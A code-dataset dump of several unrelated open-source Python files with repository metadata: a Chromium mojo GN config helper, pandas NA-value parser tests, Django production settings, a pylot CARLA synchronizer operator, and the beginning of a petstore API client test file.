
2015-04-30T00:13:21.000Z

2019-07-10T02:17:24.000Z

mojo/tools/mopy/gn.py

rafaelw/mojo

d3495a129dcbe679e2d5ac729c85a58acf38f8c4

[ "BSD-3-Clause" ]

null

mojo/tools/mopy/gn.py

rafaelw/mojo

d3495a129dcbe679e2d5ac729c85a58acf38f8c4

[ "BSD-3-Clause" ]

1

2019-05-12T13:53:44.000Z

# Copyright 2015 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """ GN-related configuration functions, e.g., to produce a Config object from a GN args.gn file). """ import ast import os.path import re from .config import Config def BuildDirectoryForConfig(config, src_root): """ Returns the build directory for the given configuration. """ subdir = "" if config.target_os == Config.OS_ANDROID: subdir += "android_" if config.target_arch != Config.ARCH_ARM: subdir += config.target_arch + "_" elif config.target_os == Config.OS_CHROMEOS: subdir += "chromeos_" subdir += "Debug" if config.is_debug else "Release" if config.sanitizer == Config.SANITIZER_ASAN: subdir += "_asan" if not(config.is_debug) and config.dcheck_always_on: subdir += "_dcheck" return os.path.join(src_root, "out", subdir) def GNArgsForConfig(config): """ Return the arguments for gn for the given configuration. This function returns a dictionary with boolean values as boolean. """ gn_args = {} gn_args["is_debug"] = bool(config.is_debug) gn_args["is_asan"] = config.sanitizer == Config.SANITIZER_ASAN if config.is_clang is not None: gn_args["is_clang"] = bool(config.is_clang) else: gn_args["is_clang"] = config.target_os not in (Config.OS_ANDROID, Config.OS_WINDOWS) if config.values.get("use_goma"): gn_args["use_goma"] = True gn_args["goma_dir"] = config.values["goma_dir"] else: gn_args["use_goma"] = False gn_args["dcheck_always_on"] = config.dcheck_always_on gn_args["mojo_use_nacl"] = config.values.get("use_nacl", False) if config.target_os == Config.OS_ANDROID: gn_args["os"] = "android" elif config.target_os == Config.OS_CHROMEOS: gn_args["os"] = "chromeos" gn_args["use_glib"] = False gn_args["use_system_harfbuzz"] = False elif config.target_os == Config.OS_LINUX: gn_args["is_desktop_linux"] = False gn_args["use_aura"] = False gn_args["use_glib"] = False gn_args["use_system_harfbuzz"] = False gn_args["target_arch"] = config.target_arch return gn_args def CommandLineForGNArgs(gn_args): """ Returns the list of gn arguments to use with the gn command line. """ def _ToCommandLine(key, value): if type(value) is bool: return "%s=%s" % (key, "true" if value else "false") return "%s=\"%s\"" % (key, value) return [_ToCommandLine(x, y) for x, y in gn_args.iteritems()] def ConfigForGNArgs(args): """ Return the Config object for the given gn arguments. This function takes a dictionary with boolean values as boolean. """ config_args = {} config_args["is_debug"] = args.get("is_debug", False) config_args["sanitizer"] = ( Config.SANITIZER_ASAN if args.get("is_asan") else None) config_args["is_clang"] = args.get("is_clang", False) config_args["use_goma"] = args.get("use_goma", False) if config_args["use_goma"]: config_args["goma_dir"] = args.get("goma_dir") config_args["use_nacl"] = args.get("mojo_use_nacl", False) config_args["target_os"] = args.get("os") config_args["target_arch"] = args.get("target_arch") config_args["dcheck_always_on"] = args.get("dcheck_always_on") return Config(**config_args) def ParseGNConfig(build_dir): """ Parse the gn config file present in |build_dir|. This function returns a dictionary with boolean values as boolean. """ TRANSLATIONS = { "true": "True", "false": "False", } gn_file = os.path.join(build_dir, "args.gn") values = {} with open(gn_file, "r") as f: for line in f.readlines(): line = re.sub("\s*#.*", "", line) result = re.match("^\s*(\w+)\s*=\s*(.*)\s*$", line) if result: key = result.group(1) value = result.group(2) values[key] = ast.literal_eval(TRANSLATIONS.get(value, value)) return values

30.396947

80

0.672275

36a9bb31e79dc2213764822b6aa8753387557b01

15,650

py

Python

venv/Lib/site-packages/pandas/tests/io/parser/test_na_values.py

OliviaNabbosa89/Disaster_Responses

1e66d77c303cec685dfc2ca94f4fca4cc9400570

[ "MIT" ]

null

venv/Lib/site-packages/pandas/tests/io/parser/test_na_values.py

OliviaNabbosa89/Disaster_Responses

1e66d77c303cec685dfc2ca94f4fca4cc9400570

[ "MIT" ]

null

venv/Lib/site-packages/pandas/tests/io/parser/test_na_values.py

OliviaNabbosa89/Disaster_Responses

1e66d77c303cec685dfc2ca94f4fca4cc9400570

[ "MIT" ]

1

2021-04-26T22:41:56.000Z

""" Tests that NA values are properly handled during parsing for all of the parsers defined in parsers.py """ from io import StringIO import numpy as np import pytest from pandas._libs.parsers import STR_NA_VALUES from pandas import DataFrame, Index, MultiIndex import pandas._testing as tm def test_string_nas(all_parsers): parser = all_parsers data = """A,B,C a,b,c d,,f ,g,h """ result = parser.read_csv(StringIO(data)) expected = DataFrame( [["a", "b", "c"], ["d", np.nan, "f"], [np.nan, "g", "h"]], columns=["A", "B", "C"], ) tm.assert_frame_equal(result, expected) def test_detect_string_na(all_parsers): parser = all_parsers data = """A,B foo,bar NA,baz NaN,nan """ expected = DataFrame( [["foo", "bar"], [np.nan, "baz"], [np.nan, np.nan]], columns=["A", "B"] ) result = parser.read_csv(StringIO(data)) tm.assert_frame_equal(result, expected) @pytest.mark.parametrize( "na_values", [ ["-999.0", "-999"], [-999, -999.0], [-999.0, -999], ["-999.0"], ["-999"], [-999.0], [-999], ], ) @pytest.mark.parametrize( "data", [ """A,B -999,1.2 2,-999 3,4.5 """, """A,B -999,1.200 2,-999.000 3,4.500 """, ], ) def test_non_string_na_values(all_parsers, data, na_values): # see gh-3611: with an odd float format, we can't match # the string "999.0" exactly but still need float matching parser = all_parsers expected = DataFrame([[np.nan, 1.2], [2.0, np.nan], [3.0, 4.5]], columns=["A", "B"]) result = parser.read_csv(StringIO(data), na_values=na_values) tm.assert_frame_equal(result, expected) def test_default_na_values(all_parsers): _NA_VALUES = { "-1.#IND", "1.#QNAN", "1.#IND", "-1.#QNAN", "#N/A", "N/A", "n/a", "NA", "<NA>", "#NA", "NULL", "null", "NaN", "nan", "-NaN", "-nan", "#N/A N/A", "", } assert _NA_VALUES == STR_NA_VALUES parser = all_parsers nv = len(_NA_VALUES) def f(i, v): if i == 0: buf = "" elif i > 0: buf = "".join([","] * i) buf = f"{buf}{v}" if i < nv - 1: joined = "".join([","] * (nv - i - 1)) buf = f"{buf}{joined}" return buf data = StringIO("\n".join(f(i, v) for i, v in enumerate(_NA_VALUES))) expected = DataFrame(np.nan, columns=range(nv), index=range(nv)) result = parser.read_csv(data, header=None) tm.assert_frame_equal(result, expected) @pytest.mark.parametrize("na_values", ["baz", ["baz"]]) def test_custom_na_values(all_parsers, na_values): parser = all_parsers data = """A,B,C ignore,this,row 1,NA,3 -1.#IND,5,baz 7,8,NaN """ expected = DataFrame( [[1.0, np.nan, 3], [np.nan, 5, np.nan], [7, 8, np.nan]], columns=["A", "B", "C"] ) result = parser.read_csv(StringIO(data), na_values=na_values, skiprows=[1]) tm.assert_frame_equal(result, expected) def test_bool_na_values(all_parsers): data = """A,B,C True,False,True NA,True,False False,NA,True""" parser = all_parsers result = parser.read_csv(StringIO(data)) expected = DataFrame( { "A": np.array([True, np.nan, False], dtype=object), "B": np.array([False, True, np.nan], dtype=object), "C": [True, False, True], } ) tm.assert_frame_equal(result, expected) def test_na_value_dict(all_parsers): data = """A,B,C foo,bar,NA bar,foo,foo foo,bar,NA bar,foo,foo""" parser = all_parsers df = parser.read_csv(StringIO(data), na_values={"A": ["foo"], "B": ["bar"]}) expected = DataFrame( { "A": [np.nan, "bar", np.nan, "bar"], "B": [np.nan, "foo", np.nan, "foo"], "C": [np.nan, "foo", np.nan, "foo"], } ) tm.assert_frame_equal(df, expected) @pytest.mark.parametrize( "index_col,expected", [ ( [0], DataFrame({"b": [np.nan], "c": [1], "d": [5]}, index=Index([0], name="a")), ), ( [0, 2], DataFrame( {"b": [np.nan], "d": [5]}, index=MultiIndex.from_tuples([(0, 1)], names=["a", "c"]), ), ), ( ["a", "c"], DataFrame( {"b": [np.nan], "d": [5]}, index=MultiIndex.from_tuples([(0, 1)], names=["a", "c"]), ), ), ], ) def test_na_value_dict_multi_index(all_parsers, index_col, expected): data = """\ a,b,c,d 0,NA,1,5 """ parser = all_parsers result = parser.read_csv(StringIO(data), na_values=set(), index_col=index_col) tm.assert_frame_equal(result, expected) @pytest.mark.parametrize( "kwargs,expected", [ ( dict(), DataFrame( { "A": ["a", "b", np.nan, "d", "e", np.nan, "g"], "B": [1, 2, 3, 4, 5, 6, 7], "C": ["one", "two", "three", np.nan, "five", np.nan, "seven"], } ), ), ( dict(na_values={"A": [], "C": []}, keep_default_na=False), DataFrame( { "A": ["a", "b", "", "d", "e", "nan", "g"], "B": [1, 2, 3, 4, 5, 6, 7], "C": ["one", "two", "three", "nan", "five", "", "seven"], } ), ), ( dict(na_values=["a"], keep_default_na=False), DataFrame( { "A": [np.nan, "b", "", "d", "e", "nan", "g"], "B": [1, 2, 3, 4, 5, 6, 7], "C": ["one", "two", "three", "nan", "five", "", "seven"], } ), ), ( dict(na_values={"A": [], "C": []}), DataFrame( { "A": ["a", "b", np.nan, "d", "e", np.nan, "g"], "B": [1, 2, 3, 4, 5, 6, 7], "C": ["one", "two", "three", np.nan, "five", np.nan, "seven"], } ), ), ], ) def test_na_values_keep_default(all_parsers, kwargs, expected): data = """\ A,B,C a,1,one b,2,two ,3,three d,4,nan e,5,five nan,6, g,7,seven """ parser = all_parsers result = parser.read_csv(StringIO(data), **kwargs) tm.assert_frame_equal(result, expected) def test_no_na_values_no_keep_default(all_parsers): # see gh-4318: passing na_values=None and # keep_default_na=False yields 'None" as a na_value data = """\ A,B,C a,1,None b,2,two ,3,None d,4,nan e,5,five nan,6, g,7,seven """ parser = all_parsers result = parser.read_csv(StringIO(data), keep_default_na=False) expected = DataFrame( { "A": ["a", "b", "", "d", "e", "nan", "g"], "B": [1, 2, 3, 4, 5, 6, 7], "C": ["None", "two", "None", "nan", "five", "", "seven"], } ) tm.assert_frame_equal(result, expected) def test_no_keep_default_na_dict_na_values(all_parsers): # see gh-19227 data = "a,b\n,2" parser = all_parsers result = parser.read_csv( StringIO(data), na_values={"b": ["2"]}, keep_default_na=False ) expected = DataFrame({"a": [""], "b": [np.nan]}) tm.assert_frame_equal(result, expected) def test_no_keep_default_na_dict_na_scalar_values(all_parsers): # see gh-19227 # # Scalar values shouldn't cause the parsing to crash or fail. data = "a,b\n1,2" parser = all_parsers df = parser.read_csv(StringIO(data), na_values={"b": 2}, keep_default_na=False) expected = DataFrame({"a": [1], "b": [np.nan]}) tm.assert_frame_equal(df, expected) @pytest.mark.parametrize("col_zero_na_values", [113125, "113125"]) def test_no_keep_default_na_dict_na_values_diff_reprs(all_parsers, col_zero_na_values): # see gh-19227 data = """\ 113125,"blah","/blaha",kjsdkj,412.166,225.874,214.008 729639,"qwer","",asdfkj,466.681,,252.373 """ parser = all_parsers expected = DataFrame( { 0: [np.nan, 729639.0], 1: [np.nan, "qwer"], 2: ["/blaha", np.nan], 3: ["kjsdkj", "asdfkj"], 4: [412.166, 466.681], 5: ["225.874", ""], 6: [np.nan, 252.373], } ) result = parser.read_csv( StringIO(data), header=None, keep_default_na=False, na_values={2: "", 6: "214.008", 1: "blah", 0: col_zero_na_values}, ) tm.assert_frame_equal(result, expected) @pytest.mark.parametrize( "na_filter,row_data", [ (True, [[1, "A"], [np.nan, np.nan], [3, "C"]]), (False, [["1", "A"], ["nan", "B"], ["3", "C"]]), ], ) def test_na_values_na_filter_override(all_parsers, na_filter, row_data): data = """\ A,B 1,A nan,B 3,C """ parser = all_parsers result = parser.read_csv(StringIO(data), na_values=["B"], na_filter=na_filter) expected = DataFrame(row_data, columns=["A", "B"]) tm.assert_frame_equal(result, expected) def test_na_trailing_columns(all_parsers): parser = all_parsers data = """Date,Currency,Symbol,Type,Units,UnitPrice,Cost,Tax 2012-03-14,USD,AAPL,BUY,1000 2012-05-12,USD,SBUX,SELL,500""" # Trailing columns should be all NaN. result = parser.read_csv(StringIO(data)) expected = DataFrame( [ ["2012-03-14", "USD", "AAPL", "BUY", 1000, np.nan, np.nan, np.nan], ["2012-05-12", "USD", "SBUX", "SELL", 500, np.nan, np.nan, np.nan], ], columns=[ "Date", "Currency", "Symbol", "Type", "Units", "UnitPrice", "Cost", "Tax", ], ) tm.assert_frame_equal(result, expected) @pytest.mark.parametrize( "na_values,row_data", [ (1, [[np.nan, 2.0], [2.0, np.nan]]), ({"a": 2, "b": 1}, [[1.0, 2.0], [np.nan, np.nan]]), ], ) def test_na_values_scalar(all_parsers, na_values, row_data): # see gh-12224 parser = all_parsers names = ["a", "b"] data = "1,2\n2,1" result = parser.read_csv(StringIO(data), names=names, na_values=na_values) expected = DataFrame(row_data, columns=names) tm.assert_frame_equal(result, expected) def test_na_values_dict_aliasing(all_parsers): parser = all_parsers na_values = {"a": 2, "b": 1} na_values_copy = na_values.copy() names = ["a", "b"] data = "1,2\n2,1" expected = DataFrame([[1.0, 2.0], [np.nan, np.nan]], columns=names) result = parser.read_csv(StringIO(data), names=names, na_values=na_values) tm.assert_frame_equal(result, expected) tm.assert_dict_equal(na_values, na_values_copy) def test_na_values_dict_col_index(all_parsers): # see gh-14203 data = "a\nfoo\n1" parser = all_parsers na_values = {0: "foo"} result = parser.read_csv(StringIO(data), na_values=na_values) expected = DataFrame({"a": [np.nan, 1]}) tm.assert_frame_equal(result, expected) @pytest.mark.parametrize( "data,kwargs,expected", [ ( str(2 ** 63) + "\n" + str(2 ** 63 + 1), dict(na_values=[2 ** 63]), DataFrame([str(2 ** 63), str(2 ** 63 + 1)]), ), (str(2 ** 63) + ",1" + "\n,2", dict(), DataFrame([[str(2 ** 63), 1], ["", 2]])), (str(2 ** 63) + "\n1", dict(na_values=[2 ** 63]), DataFrame([np.nan, 1])), ], ) def test_na_values_uint64(all_parsers, data, kwargs, expected): # see gh-14983 parser = all_parsers result = parser.read_csv(StringIO(data), header=None, **kwargs) tm.assert_frame_equal(result, expected) def test_empty_na_values_no_default_with_index(all_parsers): # see gh-15835 data = "a,1\nb,2" parser = all_parsers expected = DataFrame({"1": [2]}, index=Index(["b"], name="a")) result = parser.read_csv(StringIO(data), index_col=0, keep_default_na=False) tm.assert_frame_equal(result, expected) @pytest.mark.parametrize( "na_filter,index_data", [(False, ["", "5"]), (True, [np.nan, 5.0])] ) def test_no_na_filter_on_index(all_parsers, na_filter, index_data): # see gh-5239 # # Don't parse NA-values in index unless na_filter=True parser = all_parsers data = "a,b,c\n1,,3\n4,5,6" expected = DataFrame({"a": [1, 4], "c": [3, 6]}, index=Index(index_data, name="b")) result = parser.read_csv(StringIO(data), index_col=[1], na_filter=na_filter) tm.assert_frame_equal(result, expected) def test_inf_na_values_with_int_index(all_parsers): # see gh-17128 parser = all_parsers data = "idx,col1,col2\n1,3,4\n2,inf,-inf" # Don't fail with OverflowError with inf's and integer index column. out = parser.read_csv(StringIO(data), index_col=[0], na_values=["inf", "-inf"]) expected = DataFrame( {"col1": [3, np.nan], "col2": [4, np.nan]}, index=Index([1, 2], name="idx") ) tm.assert_frame_equal(out, expected) @pytest.mark.parametrize("na_filter", [True, False]) def test_na_values_with_dtype_str_and_na_filter(all_parsers, na_filter): # see gh-20377 parser = all_parsers data = "a,b,c\n1,,3\n4,5,6" # na_filter=True --> missing value becomes NaN. # na_filter=False --> missing value remains empty string. empty = np.nan if na_filter else "" expected = DataFrame({"a": ["1", "4"], "b": [empty, "5"], "c": ["3", "6"]}) result = parser.read_csv(StringIO(data), na_filter=na_filter, dtype=str) tm.assert_frame_equal(result, expected) @pytest.mark.parametrize( "data, na_values", [ ("false,1\n,1\ntrue", None), ("false,1\nnull,1\ntrue", None), ("false,1\nnan,1\ntrue", None), ("false,1\nfoo,1\ntrue", "foo"), ("false,1\nfoo,1\ntrue", ["foo"]), ("false,1\nfoo,1\ntrue", {"a": "foo"}), ], ) def test_cast_NA_to_bool_raises_error(all_parsers, data, na_values): parser = all_parsers msg = ( "(Bool column has NA values in column [0a])|" "(cannot safely convert passed user dtype of " "bool for object dtyped data in column 0)" ) with pytest.raises(ValueError, match=msg): parser.read_csv( StringIO(data), header=None, names=["a", "b"], dtype={"a": "bool"}, na_values=na_values, ) def test_str_nan_dropped(all_parsers): # see gh-21131 parser = all_parsers data = """File: small.csv,, 10010010233,0123,654 foo,,bar 01001000155,4530,898""" result = parser.read_csv( StringIO(data), header=None, names=["col1", "col2", "col3"], dtype={"col1": str, "col2": str, "col3": str}, ).dropna() expected = DataFrame( { "col1": ["10010010233", "01001000155"], "col2": ["0123", "4530"], "col3": ["654", "898"], }, index=[1, 3], ) tm.assert_frame_equal(result, expected)

27.504394

89

0.518211

19e9d3a1f9d6e759c4f79a442f626df1c7df3a75

8,864

py

Python

config/settings/production.py

NumanIbnMazid/Django_Skeleton_Default

4ab147cc91145533f1acc8c364360575e08ca5c8

[ "MIT" ]

null

config/settings/production.py

NumanIbnMazid/Django_Skeleton_Default

4ab147cc91145533f1acc8c364360575e08ca5c8

[ "MIT" ]

16

2022-01-21T14:40:31.000Z

2022-03-31T14:27:25.000Z

config/settings/production.py

NumanIbnMazid/Django_Skeleton_Default

4ab147cc91145533f1acc8c364360575e08ca5c8

[ "MIT" ]

null

import logging import sentry_sdk from sentry_sdk.integrations.celery import CeleryIntegration from sentry_sdk.integrations.django import DjangoIntegration from sentry_sdk.integrations.logging import LoggingIntegration from sentry_sdk.integrations.redis import RedisIntegration from .base import * # noqa from .base import env # GENERAL # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#secret-key SECRET_KEY = env("DJANGO_SECRET_KEY") # https://docs.djangoproject.com/en/dev/ref/settings/#allowed-hosts ALLOWED_HOSTS = env.list("DJANGO_ALLOWED_HOSTS", default=["example.com"]) # DATABASES # ------------------------------------------------------------------------------ DATABASES["default"] = env.db("DATABASE_URL") # noqa F405 DATABASES["default"]["ATOMIC_REQUESTS"] = True # noqa F405 DATABASES["default"]["CONN_MAX_AGE"] = env.int("CONN_MAX_AGE", default=60) # noqa F405 # CACHES # ------------------------------------------------------------------------------ CACHES = { "default": { "BACKEND": "django_redis.cache.RedisCache", "LOCATION": env("REDIS_URL"), "OPTIONS": { "CLIENT_CLASS": "django_redis.client.DefaultClient", # Mimicing memcache behavior. # https://github.com/jazzband/django-redis#memcached-exceptions-behavior "IGNORE_EXCEPTIONS": True, }, } } # SECURITY # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#secure-proxy-ssl-header SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https") # https://docs.djangoproject.com/en/dev/ref/settings/#secure-ssl-redirect SECURE_SSL_REDIRECT = env.bool("DJANGO_SECURE_SSL_REDIRECT", default=True) # https://docs.djangoproject.com/en/dev/ref/settings/#session-cookie-secure SESSION_COOKIE_SECURE = True # https://docs.djangoproject.com/en/dev/ref/settings/#csrf-cookie-secure CSRF_COOKIE_SECURE = True # https://docs.djangoproject.com/en/dev/topics/security/#ssl-https # https://docs.djangoproject.com/en/dev/ref/settings/#secure-hsts-seconds # TODO: set this to 60 seconds first and then to 518400 once you prove the former works SECURE_HSTS_SECONDS = 60 # https://docs.djangoproject.com/en/dev/ref/settings/#secure-hsts-include-subdomains SECURE_HSTS_INCLUDE_SUBDOMAINS = env.bool( "DJANGO_SECURE_HSTS_INCLUDE_SUBDOMAINS", default=True ) # https://docs.djangoproject.com/en/dev/ref/settings/#secure-hsts-preload SECURE_HSTS_PRELOAD = env.bool("DJANGO_SECURE_HSTS_PRELOAD", default=True) # https://docs.djangoproject.com/en/dev/ref/middleware/#x-content-type-options-nosniff SECURE_CONTENT_TYPE_NOSNIFF = env.bool( "DJANGO_SECURE_CONTENT_TYPE_NOSNIFF", default=True ) # STORAGES # ------------------------------------------------------------------------------ # https://django-storages.readthedocs.io/en/latest/#installation INSTALLED_APPS += ["storages"] # noqa F405 # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_ACCESS_KEY_ID = env("DJANGO_AWS_ACCESS_KEY_ID") # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_SECRET_ACCESS_KEY = env("DJANGO_AWS_SECRET_ACCESS_KEY") # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_STORAGE_BUCKET_NAME = env("DJANGO_AWS_STORAGE_BUCKET_NAME") # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_QUERYSTRING_AUTH = False # DO NOT change these unless you know what you're doing. _AWS_EXPIRY = 60 * 60 * 24 * 7 # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_S3_OBJECT_PARAMETERS = { "CacheControl": f"max-age={_AWS_EXPIRY}, s-maxage={_AWS_EXPIRY}, must-revalidate" } # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_S3_REGION_NAME = env("DJANGO_AWS_S3_REGION_NAME", default=None) # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#cloudfront AWS_S3_CUSTOM_DOMAIN = env("DJANGO_AWS_S3_CUSTOM_DOMAIN", default=None) aws_s3_domain = AWS_S3_CUSTOM_DOMAIN or f"{AWS_STORAGE_BUCKET_NAME}.s3.amazonaws.com" # STATIC # ------------------------ STATICFILES_STORAGE = "whitenoise.storage.CompressedManifestStaticFilesStorage" # MEDIA # ------------------------------------------------------------------------------ DEFAULT_FILE_STORAGE = "django_skeleton_default.utils.storages.MediaRootS3Boto3Storage" MEDIA_URL = f"https://{aws_s3_domain}/media/" # EMAIL # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#default-from-email DEFAULT_FROM_EMAIL = env( "DJANGO_DEFAULT_FROM_EMAIL", default="Django Skeleton Default <noreply@example.com>", ) # https://docs.djangoproject.com/en/dev/ref/settings/#server-email SERVER_EMAIL = env("DJANGO_SERVER_EMAIL", default=DEFAULT_FROM_EMAIL) # https://docs.djangoproject.com/en/dev/ref/settings/#email-subject-prefix EMAIL_SUBJECT_PREFIX = env( "DJANGO_EMAIL_SUBJECT_PREFIX", default="[Django Skeleton Default]", ) # ADMIN # ------------------------------------------------------------------------------ # Django Admin URL regex. ADMIN_URL = env("DJANGO_ADMIN_URL") # Anymail # ------------------------------------------------------------------------------ # https://anymail.readthedocs.io/en/stable/installation/#installing-anymail INSTALLED_APPS += ["anymail"] # noqa F405 # https://docs.djangoproject.com/en/dev/ref/settings/#email-backend # https://anymail.readthedocs.io/en/stable/installation/#anymail-settings-reference # https://anymail.readthedocs.io/en/stable/esps/mailgun/ EMAIL_BACKEND = "anymail.backends.mailgun.EmailBackend" ANYMAIL = { "MAILGUN_API_KEY": env("MAILGUN_API_KEY"), "MAILGUN_SENDER_DOMAIN": env("MAILGUN_DOMAIN"), "MAILGUN_API_URL": env("MAILGUN_API_URL", default="https://api.mailgun.net/v3"), } # django-compressor # ------------------------------------------------------------------------------ # https://django-compressor.readthedocs.io/en/latest/settings/#django.conf.settings.COMPRESS_ENABLED COMPRESS_ENABLED = env.bool("COMPRESS_ENABLED", default=True) # https://django-compressor.readthedocs.io/en/latest/settings/#django.conf.settings.COMPRESS_URL COMPRESS_URL = STATIC_URL # noqa F405 # https://django-compressor.readthedocs.io/en/latest/settings/#django.conf.settings.COMPRESS_OFFLINE COMPRESS_OFFLINE = True # Offline compression is required when using Whitenoise # https://django-compressor.readthedocs.io/en/latest/settings/#django.conf.settings.COMPRESS_FILTERS COMPRESS_FILTERS = { "css": [ "compressor.filters.css_default.CssAbsoluteFilter", "compressor.filters.cssmin.rCSSMinFilter", ], "js": ["compressor.filters.jsmin.JSMinFilter"], } # LOGGING # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#logging # See https://docs.djangoproject.com/en/dev/topics/logging for # more details on how to customize your logging configuration. LOGGING = { "version": 1, "disable_existing_loggers": True, "formatters": { "verbose": { "format": "%(levelname)s %(asctime)s %(module)s " "%(process)d %(thread)d %(message)s" } }, "handlers": { "console": { "level": "DEBUG", "class": "logging.StreamHandler", "formatter": "verbose", } }, "root": {"level": "INFO", "handlers": ["console"]}, "loggers": { "django.db.backends": { "level": "ERROR", "handlers": ["console"], "propagate": False, }, # Errors logged by the SDK itself "sentry_sdk": {"level": "ERROR", "handlers": ["console"], "propagate": False}, "django.security.DisallowedHost": { "level": "ERROR", "handlers": ["console"], "propagate": False, }, }, } # Sentry # ------------------------------------------------------------------------------ SENTRY_DSN = env("SENTRY_DSN") SENTRY_LOG_LEVEL = env.int("DJANGO_SENTRY_LOG_LEVEL", logging.INFO) sentry_logging = LoggingIntegration( level=SENTRY_LOG_LEVEL, # Capture info and above as breadcrumbs event_level=logging.ERROR, # Send errors as events ) integrations = [ sentry_logging, DjangoIntegration(), CeleryIntegration(), RedisIntegration(), ] sentry_sdk.init( dsn=SENTRY_DSN, integrations=integrations, environment=env("SENTRY_ENVIRONMENT", default="production"), traces_sample_rate=env.float("SENTRY_TRACES_SAMPLE_RATE", default=0.0), ) # Your stuff... # ------------------------------------------------------------------------------

42.209524

100

0.645645

6e80902352bfbda435e0751d46f7c89ef34f6fcd

3,215

py

Python

pylot/simulation/synchronizer_operator.py

seikurou/pylot

0e47c3dcaf6f0d4a3937b94846d2e55ef908dfa5

[ "Apache-2.0" ]

null

pylot/simulation/synchronizer_operator.py

seikurou/pylot

0e47c3dcaf6f0d4a3937b94846d2e55ef908dfa5

[ "Apache-2.0" ]

null

pylot/simulation/synchronizer_operator.py

seikurou/pylot

0e47c3dcaf6f0d4a3937b94846d2e55ef908dfa5

[ "Apache-2.0" ]

null

import erdos from erdos import ReadStream, Timestamp, WriteStream from pylot.control.messages import ControlMessage from pylot.simulation.utils import get_vehicle_handle, get_world, \ set_simulation_mode class SynchronizerOperator(erdos.Operator): """Sends control messages when it receives a watermark on a stream. The operator can be used to ensure that simulator does not tick before the slowest stream in a data-flow completes processing a timestmap. Warning: The operator should only be used with the CARLA auto pilot enabled. Args: wait_stream (:py:class:`erdos.ReadStream`): The stream on which to wait for watermark messages. control_stream (:py:class:`erdos.WriteStream`): Stream on which control messages are published. flags (absl.flags): Object to be used to access absl flags. """ def __init__(self, ground_vehicle_id_stream: ReadStream, wait_stream: ReadStream, control_stream: WriteStream, flags): erdos.add_watermark_callback([wait_stream], [control_stream], self.on_watermark) self._logger = erdos.utils.setup_logging(self.config.name, self.config.log_file_name) self._vehicle_id_stream = ground_vehicle_id_stream self._vehicle = None self._flags = flags @staticmethod def connect(ground_vehicle_id_stream: ReadStream, wait_stream: ReadStream): control_stream = erdos.WriteStream() return [control_stream] def run(self): # Read the vehicle ID from the vehicle ID stream. vehicle_id_msg = self._vehicle_id_stream.read() vehicle_id = vehicle_id_msg.data # Connect to the world. We connect here instead of in the constructor # to ensure we're connected to the latest world. _, world = get_world(self._flags.carla_host, self._flags.carla_port, self._flags.carla_timeout) set_simulation_mode(world, self._flags) self._vehicle = get_vehicle_handle(world, vehicle_id) def on_watermark(self, timestamp: Timestamp, control_stream: WriteStream): """Invoked when the input stream has received a watermark. The method sends a control message. Args: timestamp (:py:class:`erdos.timestamp.Timestamp`): The timestamp of the watermark. """ self._logger.debug('@{}: received watermark'.format(timestamp)) # The control message is ignored by the bridge operator because # data gathering is conducted using auto pilot. # Send the control that the vehicle is currently applying. vehicle_control = self._vehicle.get_control() control_msg = ControlMessage(vehicle_control.steer, vehicle_control.throttle, vehicle_control.brake, vehicle_control.hand_brake, vehicle_control.reverse, timestamp) control_stream.send(control_msg) control_stream.send(erdos.WatermarkMessage(timestamp))

43.445946

79

0.65381

5e1dd8528c9c055522ecd220139310c1728e55c3

14,023

py

Python

samples/client/petstore/python-experimental/tests/test_pet_api.py

malymato/openapi-generator

47e2c0d027d867de67633bbc9c0a5d7e1054a778

[ "Apache-2.0" ]

2

2019-12-08T12:00:11.000Z

2022-01-02T13:47:52.000Z

samples/client/petstore/python-experimental/tests/test_pet_api.py

malymato/openapi-generator

47e2c0d027d867de67633bbc9c0a5d7e1054a778

[ "Apache-2.0" ]

8

2021-03-01T21:18:19.000Z

2022-02-27T07:56:15.000Z

samples/client/petstore/python-experimental/tests/test_pet_api.py

malymato/openapi-generator

47e2c0d027d867de67633bbc9c0a5d7e1054a778

[ "Apache-2.0" ]

1

2019-11-26T06:36:44.000Z

# coding: utf-8 # flake8: noqa """ Run the tests. $ docker pull swaggerapi/petstore $ docker run -d -e SWAGGER_HOST=http://petstore.swagger.io -e SWAGGER_BASE_PATH=/v2 -p 80:8080 swaggerapi/petstore $ pip install nose (optional) $ cd petstore_api-python $ nosetests -v """ from collections import namedtuple import json import os import unittest import petstore_api from petstore_api import Configuration from petstore_api.rest import ( RESTClientObject, RESTResponse ) import six from petstore_api.exceptions import ( ApiException, ApiValueError, ApiTypeError, ) from .util import id_gen import urllib3 if six.PY3: from unittest.mock import patch else: from mock import patch HOST = 'http://localhost/v2' class TimeoutWithEqual(urllib3.Timeout): def __init__(self, *arg, **kwargs): super(TimeoutWithEqual, self).__init__(*arg, **kwargs) def __eq__(self, other): return self._read == other._read and self._connect == other._connect and self.total == other.total class MockPoolManager(object): def __init__(self, tc): self._tc = tc self._reqs = [] def expect_request(self, *args, **kwargs): self._reqs.append((args, kwargs)) def request(self, *args, **kwargs): self._tc.assertTrue(len(self._reqs) > 0) r = self._reqs.pop(0) self._tc.maxDiff = None self._tc.assertEqual(r[0], args) self._tc.assertEqual(r[1], kwargs) return urllib3.HTTPResponse(status=200, body=b'test') class PetApiTests(unittest.TestCase): def setUp(self): config = Configuration() config.host = HOST self.api_client = petstore_api.ApiClient(config) self.pet_api = petstore_api.PetApi(self.api_client) self.setUpModels() self.setUpFiles() def setUpModels(self): self.category = petstore_api.Category() self.category.id = id_gen() self.category.name = "dog" self.tag = petstore_api.Tag() self.tag.id = id_gen() self.tag.name = "python-pet-tag" self.pet = petstore_api.Pet(name="hello kity", photo_urls=["http://foo.bar.com/1", "http://foo.bar.com/2"]) self.pet.id = id_gen() 